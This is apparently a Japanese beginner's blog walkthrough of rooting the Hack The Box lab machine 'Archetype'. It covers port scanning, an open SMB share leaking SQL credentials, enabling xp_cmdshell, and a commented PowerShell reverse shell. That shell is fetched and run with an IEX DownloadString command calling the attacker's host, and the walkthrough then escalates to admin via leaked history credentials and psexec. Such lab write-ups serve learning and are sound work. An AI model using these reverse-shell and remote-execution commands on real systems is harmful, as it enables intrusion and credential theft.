はじめに
セキュリティ、というよりいわゆる"ハッキング"というものに興味を持って以来、策謀本を読んだり、常設のCTFに挑戦したりなどしてきたのですが、ついにPentestにも手を出してみることにしました。本での学習もCTFもまだまだなのですが、手を広げながら色々やっていく方が楽しめるかと思ってとりあえず始めてみました。Hack The Boxのアカウントをとること自体は随分前にやっていたのですが、どうにも諸々の設定などで挫折してしまっていたので今回やり切れてよかったです。 この記事では初めてrootをとる過程で苦労したことや調べたことをまとめておきます。まだ初心者であるためWalkthroughをガン見しながらやったのですが、所々動機がわからない動作があったので色々悩みました。それらの一部はまだ解決できていないですが、それもそのまま書こうと思います。
VPN接続
HTBは基本的にマシンを攻略する際にVPN接続する必要があるそうです。私ははじめ誤解していたのですが、攻略するマシンに対してVPN接続を行うのではなく、VPN接続をした対象のマシンからさらに攻略するマシンへと通信を行うようです。おそらくですが、マシンを攻撃できる人を限定するために、一度VPN接続をおこない、そこからの攻撃のみを受け付けるようにしているのだと思います。違うかもしれません。 チュートリアルのVPN接続についてのページを見つつConnection Pack(VPN接続の設定等がかかれたファイル)をダウンロードし、いわれるがまま次のコマンドを叩いてみます。
$ sudo openvpn example.ovpn
exampleの部分はユーザーによって異なります。
詰まったところ
無事VPN接続をし、Initialization Sequence Completedの文字が表示されましたが、そのあとに書いてあるnmapコマンドの動作がどうもよろしくないのでしばらく原因をさがしたところ、どうやらマシン攻略用にあつらえた仮想マシンのネットワーク設定がまずかったようでした。仮想マシンのネットワークの設定がNATになっていたものをブリッジアダプタに変更するとうまくいきました
また、openvpnコマンドを実行したターミナルはVPNを繋いである間他のことができなくなること(このことをもっと名詞的に指す言葉がある気がする)をわかっていなかったので初めの間少し戸惑いました。これ以降はopenvpnはバックグラウンドで実行してみてもいいかもなと思いました。
ポートスキャン
いよいよハッキングぽくなってくるポートスキャンをしていきます。これまたチュートリアルに書かれているとおりに次のを打ちます。
$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
10.10.10.27は今回の攻略対象のマシンのIPアドレスです。このコマンドは開いているポートを調べ、それらをカンマ区切りの形に整理するという感じで動作します。ただ結果を変数$portsに格納してしまうので、視覚的に結果を確認したい場合は$(...)の中身を別個で実行するか、$ echo $portsとすれば確認することができます。
次に以下のコマンドを実行します。
$ nmap -sC -sV -p$ports 10.10.10.27
これで各ポートについて詳しい情報を見ていきます。各オプションの意味は以下の通りです。
-sC: デフォルトのスクリプトでスキャン(--script=defaultと同じ動作)-sV: 空いているポートに繋がっているサービスやそのバージョンを特定する
結果をみると、SQLサーバがポート1433で、SMB*1サーバがポート445で待ち受けていることが分かるらしいです。正直僕には分からなかったです。具体的には他にもMicrosoft Windows RPCなどのサービスが動いているのに、これらのサービスを対象にする理由がわからなかったです。しかし、おそらくは試行錯誤してみて攻撃ができそうなサービスがこれら二つだったということなのだと思います。
SMBへのアクセス
というわけで、まずはSMBにアクセスしてみます。
$ smbclient -N -L \\\\10.10.10.27\\
-N: パスワードなしで実行-L: サーバー上で利用可能なサービス一覧を表示\\server\service: 実行対処を指定。serverはNetBios名。
結果:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
backupsというshareにはパスワードなしで入れるので中身を確認してみます。
smb: \> dir
. D 0 Mon Jan 20 21:20:57 2020 .. D 0 Mon Jan 20 21:20:57 2020 prod.dtsConfig AR 609 Mon Jan 20 21:23:02 2020
dtsConfigファイルはSQL ServerというMicrosoftのRDBMSの追加機能であるSSISで用いられているconfigファイルらしいです。ちょっとよくわかってはいませんが、とにかくファイルを取得してみます。
smb: \> get prod.dtsConfig
このファイルの中身は次のようになっています。
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Password=M3g4c0rp123とUser ID=ARCHETYPE\sql_svcがぱっと見大事そうです。これらはSQL Serverのログイン情報なので、とりあえずSQL Serverへのアクセス手段を整えまるために、impacketというpythonのリポジトリを利用します。
$ sudo apt install python3-pip
$ git clone https://github.com/SecureAuthCorp/impacket.git
これ以降はクローンしたimpacketディレクトリ内で実行します。
$ python3 -m pip install .
これでSQL Serverに接続する準備が整ったので、実際につなげてみます。
SQL Serverへのアクセス
$ cd examples
$ python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
-windows-authはSQL Serverの二つの認証方法(SQL認証とWindows認証)のうちWindows認証を選択するために指定しています。ただ、なぜそれが必要なのかはわかりませんでした*2。
※注意: Walkthroughにはユーザー名(@以前の部分)がARCHETYPE\sql_svcと書かれてありますが、mssqlclientの説明どおりARCHETYPE/sql_svcとしないとログインすることができません('ARCHETYPE\Guest'というユーザー名になってしまう)。
次にログインユーザーがSQL Serverの管理者権限を持っているかどうかを確認します。
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
-----------
1
これで管理者権限をもっていることがわかったので、xp_cmdshellというWindowsのコマンドシェルを起動・実行できるコマンドを有効化します。
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
有効化したxp_cmdshellでユーザーを以下のコマンドで確認できます。
SQL> xp_cmdshell "whoami"
また次のコマンドの結果からログインしたユーザーが管理者権限をもっていないことが分かります。
SQL> xp_cmdshell "whoami /priv"
権限の確認についてはこちらを参考にしました。
ここから攻撃対象のマシンのシェルを獲得するために、リバースシェルを対象に実行させます。この時の手順は次のようになります。
- リバースシェルをホストするためのサーバーを立てる
- netcatで接続を待ち受ける
- ファイアーウォールの設定を変更して対象マシンからのアクセスを許可する
- リバースシェルを対象マシンで実行させる
今回使用するPowershell用のリバースシェルは以下のようになります。Walkthroughに書いてあるやつの意味がわからなかったので、コメントを付け足してあります。
# TCPクライアントを作成
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3", 443)
# データの送受信に使用する NetworkStream を取得
$stream = $client.GetStream()
# 0で初期化された長さ65336のbyte[]型の配列を作成
[byte[]]$bytes = 0..65535|%{0}
# ストリームから取り出したbyte数が0になるまで$byteに読み出す
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
# 読み取ったバイトシーケンスをASCII文字にデコード
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
# iex = Invoke-Expression
# 読み取った文字列をコマンドとして評価・実行し、結果を格納する
# その際にエラー出力も標準出力にリダイレクトすることで結果をまとめている
$sendback = (iex $data 2>&1 | Out-String)
# 行末に次の命令のプロンプト # を追加
$sendback2 = $sendback+"# "
# $sendback2をバイト列に変換
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
# ストリームに$sendbyteを書き込む
$stream.Write($sendbyte, 0, $sendbyte.Length)
# ストリームに$sendbyteを流し込み、結果を攻撃者に送信する
$stream.Flush()
}
# TCPクライアントを終了
$client.Close()
ただし、IPアドレス10.10.10.3の部分は自分のIPアドレスを書き込んでください。ip aなどで、tun0を見ればVPN接続先のIPアドレスがわかると思います。
サーバーの用意
上のリバースシェルをshell.ps1というファイルに保存しておき、そのファイルがあるフォルダ内でpythonを使ってリバースシェルをホストするためのサーバーを立てます。
$ python3 -m http.server 80
netcat
リバースシェルによってポート443にくる接続を待つための用意をします。
$ nc -lvnp 443
ファイアーウォールの設定
ufwコマンドで対象マシンからポート80と443へのtcpによるアクセスを許可します。
$ ufw allow from 10.10.10.27 proto tcp to any port 80,443
リバースシェルの実行
SQL Server上で次のコマンドを実行することで、リバースシェルを攻略対象のマシンに実行させます。
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"
ただし、ここでも10.10.14.3の部分は自分のIPアドレスに変更しておいてください。
実行に成功すれば、netcatで接続を待っているところに接続が来るはずです。何かコマンドを書き込めばプロンプト"#"が表示されると思います。
詰まったところ
僕の場合リバースシェルを実行させるところで次のようなエラーが出ました。
output
--------------------------------------------------------------------------------
New-Object : The 'New-Object' command was found in the module 'Microsoft.PowerShell.Utility', but the module could not
be loaded. For more information, run 'Import-Module Microsoft.PowerShell.Utility'.
At line:1 char:6
+ IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.27/she ...
+ ~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (New-Object:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CouldNotAutoloadMatchingModule
NULL
'Microsoft.PowerShell.Utility'がないと言われているので一度
SQL> xp_cmdshell "powershell "Import-Module Microsoft.PowerShell.Utility"
を実行してみましたが、他にもエラーがあったためこれが意味があったかどうかは不明です。
user.txtの獲得
ユーザーsql_svcとしてシェルが実行できるようになったので、デスクトップにあるuser.txtを見に行きます。
# cat C:\Users\sql_svc\Desktop\users.txt
これを提出すれば、USER OWNSに成功です。
root.txtの獲得
次にpowershellのコマンドの履歴を調べてみます。実際には有効で頻繁に行われる方法の一つなのかもしれませんが、初心者の自分にとってこの行動は唐突に感じられました。しかしやってみます。
# cat C:\Users\sql_svc\AppData\Roaming\Microsoft\windows\Powershell\PSReadline\ConsoleHost_history.txt
すると以下が書かれています。
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! exit
net use devidename \\computername\sharename /user:username passwordは共有リソースにアクセスできるコマンドであり、ここに書かれているのは管理者のパスワードなので、これを使って権限昇格が可能になります。
impacket/psexec.py(psexec.pyはおそらく遠隔でコマンドを実行できるスクリプト)を使って管理者権限でログインし、管理者のデスクトップに存在するroot.txtの中身を確認します。
$ python3 psexec.py administrator@10.10.10.27
> type C:\Users\Administrator\Desktop\root.txt
これを提出すれば、SYSTEM OWNSに成功です。
感想
初めてのPentestだったので、唐突だったり動機がよくわからない動作がいくつもあるなというのが今回の感想です。おそらくそれらは試行錯誤の結果であったり、これからいくつかのマシンを攻撃する中で身に付く定跡のうちの一つだったりするのだと思うので、数をこなしながら慣れていきたいと思います。